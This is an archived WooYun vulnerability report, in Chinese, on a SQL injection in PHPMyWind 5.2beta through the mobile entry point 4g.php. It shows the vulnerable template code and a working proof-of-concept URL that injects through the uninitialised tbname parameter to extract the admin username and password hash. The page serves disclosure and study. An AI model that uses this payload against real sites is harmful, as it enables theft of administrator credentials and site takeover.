当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089760

漏洞标题:PHPMyWind SQL注入 无限制

相关厂商:phpmywind.com

漏洞作者: zxx

提交时间:2015-01-07 16:39

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-08: 细节向核心白帽子及相关领域专家公开
2015-03-18: 细节向普通白帽子公开
2015-03-28: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

5.2beta 2014-12-28 参数没有处理,绕过过滤

详细说明:

/templates/default/mobile/show.php

<?php
switch($row['infotype'])
{
case 1:
$tbname = '#@__infolist';
break;
case 2:
$tbname = '#@__infoimg';
break;
}
//增加一次点击量
$dosql->ExecNoneQuery("UPDATE `$tbname` SET hits=hits+1 WHERE `id`=$id");
$row = $dosql->GetOne("SELECT * from `$tbname` WHERE `id`=$id");
?>


当使用4g.php时会自动调用这个tpl,看一下4g.php:
/4g.php

13行//定义入口常量
define('IN_MOBILE', TRUE);
//初始化参数
$m = isset($m) ? $m : 'index'; //控制显示模型
$c = isset($c) ? $c : ''; //控制显示形式
$a = isset($a) ? $a : ''; //控制执行操作
$cid = isset($cid) ? intval($cid) : 0; //显示栏目ID
$id = isset($id) ? intval($id) : 0; //显示内容ID


$tbname没有初始化,$row['infotype']可以为0,switch没有设置,所以$tbname可以控制,绕过防注入过滤。

漏洞证明:

http://127.0.0.1/4g.php?m=show&cid=2&tbname=pmw_infolist` SET hits=hits WHERE 1=2 and @`'` AND ( SELECT 1 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM pmw_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b) -- @`'`%20

QQ截图20150102221306.png


这里cid要使查询的infotype为0

修复方案:

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无